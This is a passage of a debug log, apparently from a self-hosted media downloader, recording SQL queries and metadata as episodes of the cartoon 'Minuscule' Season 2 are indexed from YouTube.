m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:12:31.794 [debug] QUERY OK source="media_items" db=0.5ms idle=20.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89068] 22:12:31.794 [debug] Current batch of media processed. Will check again in 1000ms 22:12:32.796 [debug] Current batch of media processed. Will check again in 1000ms 22:12:33.797 [debug] Current batch of media processed. Will check again in 1000ms 22:12:34.798 [debug] Current batch of media processed. Will check again in 1000ms 22:12:35.799 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "duration" => 294, "filename" => "/downloads/Miniscule Season 2/2020-07-23 Minuscule - The stubborn spider ⧸ Têtue (Season 2)/Minuscule - The stubborn spider ⧸ Têtue (Season 2) [oHMkCoPqJHs].mkv", "id" => "oHMkCoPqJHs", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=oHMkCoPqJHs", "playlist_index" => 85, "timestamp" => 1595514610, "title" => "Minuscule - The stubborn spider / Têtue (Season 2)", "upload_date" => "20200723"} 22:12:35.800 [debug] QUERY OK source="sources" db=0.3ms idle=628.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:12:35.801 [debug] QUERY OK source="sources" db=0.3ms idle=629.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:12:35.802 [debug] QUERY OK source="media_items" db=0.9ms idle=630.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-07-23 14:30:10Z], 5] 22:12:35.848 [debug] QUERY OK source="media_items" db=45.0ms idle=631.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - The stubborn spider / Têtue (Season 2)", "55366093-d9c9-49a8-a00a-477d699ac7d7", "oHMkCoPqJHs", 294, false, 5, "https://www.youtube.com/watch?v=oHMkCoPqJHs", 85, "/downloads/Miniscule Season 2/2020-07-23 Minuscule - The stubborn spider ⧸ Têtue (Season 2)/Minuscule - The stubborn spider ⧸ Têtue (Season 2) [oHMkCoPqJHs].mkv", false, false, false, [], 1, ~U[2020-07-23 14:30:10Z], ~U[2025-12-12 05:12:35Z], ~U[2025-12-12 05:12:35Z], "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - The stubborn spider / Têtue (Season 2)", "oHMkCoPqJHs", 294, false, 5, "https://www.youtube.com/watch?v=oHMkCoPqJHs", "/downloads/Miniscule Season 2/2020-07-23 Minuscule - The stubborn spider ⧸ Têtue (Season 2)/Minuscule - The stubborn spider ⧸ Têtue (Season 2) [oHMkCoPqJHs].mkv", false, ~U[2020-07-23 14:30:10Z]] 22:12:35.849 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=624.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:12:35.850 [debug] QUERY OK source="media_profiles" db=0.3ms idle=49.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:12:35.851 [debug] QUERY OK source="media_items" db=0.6ms idle=49.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89070] 22:12:35.851 [debug] Current batch of media processed. Will check again in 1000ms 22:12:36.852 [debug] Current batch of media processed. Will check again in 1000ms 22:12:37.853 [debug] Current batch of media processed. Will check again in 1000ms 22:12:38.854 [debug] Current batch of media processed. Will check again in 1000ms 22:12:39.855 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "duration" => 294, "filename" => "/downloads/Miniscule Season 2/2020-07-14 Minuscule - An acorns season ⧸ La saison des glands (Season 2)/Minuscule - An acorns season ⧸ La saison des glands (Season 2) [1lhjwbQQ5K8].mp4", "id" => "1lhjwbQQ5K8", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=1lhjwbQQ5K8", "playlist_index" => 86, "timestamp" => 1594737000, "title" => "Minuscule - An acorns season / La saison des glands (Season 2)", "upload_date" => "20200714"} 22:12:39.856 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=684.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:12:39.857 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=685.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:12:39.859 [debug] QUERY OK source="media_items" db=1.3ms idle=686.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-07-14 14:30:00Z], 5] 22:12:39.862 [debug] QUERY OK source="media_items" db=2.2ms idle=688.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - An acorns season / La saison des glands (Season 2)", "6920dc07-d3f4-4a61-ad2a-bcbeb8301d98", "1lhjwbQQ5K8", 294, false, 5, "https://www.youtube.com/watch?v=1lhjwbQQ5K8", 86, "/downloads/Miniscule Season 2/2020-07-14 Minuscule - An acorns season ⧸ La saison des glands (Season 2)/Minuscule - An acorns season ⧸ La saison des glands (Season 2) [1lhjwbQQ5K8].mp4", false, false, false, [], 1, ~U[2020-07-14 14:30:00Z], ~U[2025-12-12 05:12:39Z], ~U[2025-12-12 05:12:39Z], "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - An acorns season / La saison des glands (Season 2)", "1lhjwbQQ5K8", 294, false, 5, "https://www.youtube.com/watch?v=1lhjwbQQ5K8", "/downloads/Miniscule Season 2/2020-07-14 Minuscule - An acorns season ⧸ La saison des glands (Season 2)/Minuscule - An acorns season ⧸ La saison des glands (Season 2) [1lhjwbQQ5K8].mp4", false, ~U[2020-07-14 14:30:00Z]] 22:12:39.863 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=630.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:12:39.864 [debug] QUERY OK source="media_profiles" db=0.3ms idle=7.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:12:39.865 [debug] QUERY OK source="media_items" db=0.6ms idle=7.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89072] 22:12:39.865 [debug] Current batch of media processed. Will check again in 1000ms 22:12:40.866 [debug] Current batch of media processed. Will check again in 1000ms 22:12:41.867 [debug] Current batch of media processed. Will check again in 1000ms 22:12:42.868 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nA caterpillar finds refuge inside a pumpkin. The other farmhouse insects are not too pleased with the new tenant until the farmer takes away all the apples and potatoes, leaving them homeless.\n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "duration" => 296, "filename" => "/downloads/Miniscule Season 2/2020-07-09 Minuscule - Homeless ⧸ Sans abri (Season 2)/Minuscule - Homeless ⧸ Sans abri (Season 2) [Uoa0_J8qVcU].mp4", "id" => "Uoa0_J8qVcU", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=Uoa0_J8qVcU", "playlist_index" => 87, "timestamp" => 1594305001, "title" => "Minuscule - Homeless / Sans abri (Season 2)", "upload_date" => "20200709"} 22:12:42.869 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=1697.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:12:42.870 [debug] QUERY OK source="sources" db=0.4ms idle=1698.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:12:42.872 [debug] QUERY OK source="media_items" db=1.0ms queue=0.1ms idle=1699.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-07-09 14:30:01Z], 5] 22:12:42.892 [debug] QUERY OK source="media_items" db=18.7ms idle=1636.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nA caterpillar finds refuge inside a pumpkin. The other farmhouse insects are not too pleased with the new tenant until the farmer takes away all the apples and potatoes, leaving them homeless.\n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Homeless / Sans abri (Season 2)", "70f9af03-f277-4058-8b8f-f1d2941e9afd", "Uoa0_J8qVcU", 296, false, 5, "https://www.youtube.com/watch?v=Uoa0_J8qVcU", 87, "/downloads/Miniscule Season 2/2020-07-09 Minuscule - Homeless ⧸ Sans abri (Season 2)/Minuscule - Homeless ⧸ Sans abri (Season 2) [Uoa0_J8qVcU].mp4", false, false, false, [], 1, ~U[2020-07-09 14:30:01Z], ~U[2025-12-12 05:12:42Z], ~U[2025-12-12 05:12:42Z], "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nA caterpillar finds refuge inside a pumpkin. The other farmhouse insects are not too pleased with the new tenant until the farmer takes away all the apples and potatoes, leaving them homeless.\n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Homeless / Sans abri (Season 2)", "Uoa0_J8qVcU", 296, false, 5, "https://www.youtube.com/watch?v=Uoa0_J8qVcU", "/downloads/Miniscule Season 2/2020-07-09 Minuscule - Homeless ⧸ Sans abri (Season 2)/Minuscule - Homeless ⧸ Sans abri (Season 2) [Uoa0_J8qVcU].mp4", false, ~U[2020-07-09 14:30:01Z]] 22:12:42.892 [debug] QUERY OK source="sources" db=0.4ms idle=654.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:12:42.893 [debug] QUERY OK source="media_profiles" db=0.5ms idle=23.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:12:42.894 [debug] QUERY OK source="media_items" db=0.5ms queue=0.1ms idle=23.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89074] 22:12:42.895 [debug] Current batch of media processed. Will check again in 1000ms 22:12:43.896 [debug] Current batch of media processed. Will check again in 1000ms 22:12:44.897 [debug] Current batch of media processed. Will check again in 1000ms 22:12:45.898 [debug] Current batch of media processed. Will check again in 1000ms 22:12:46.899 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "duration" => 294, "filename" => "/downloads/Miniscule Season 2/2020-06-30 Minuscule - Thievish as a magpie ⧸ Pie voleuse (Season 2)/Minuscule - Thievish as a magpie ⧸ Pie voleuse (Season 2) [-XlXZUgUMV0].mp4", "id" => "-XlXZUgUMV0", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=-XlXZUgUMV0", "playlist_index" => 88, "timestamp" => 1593527401, "title" => "Minuscule - Thievish as a magpie / Pie voleuse (Season 2)", "upload_date" => "20200630"} 22:12:46.900 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=728.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", 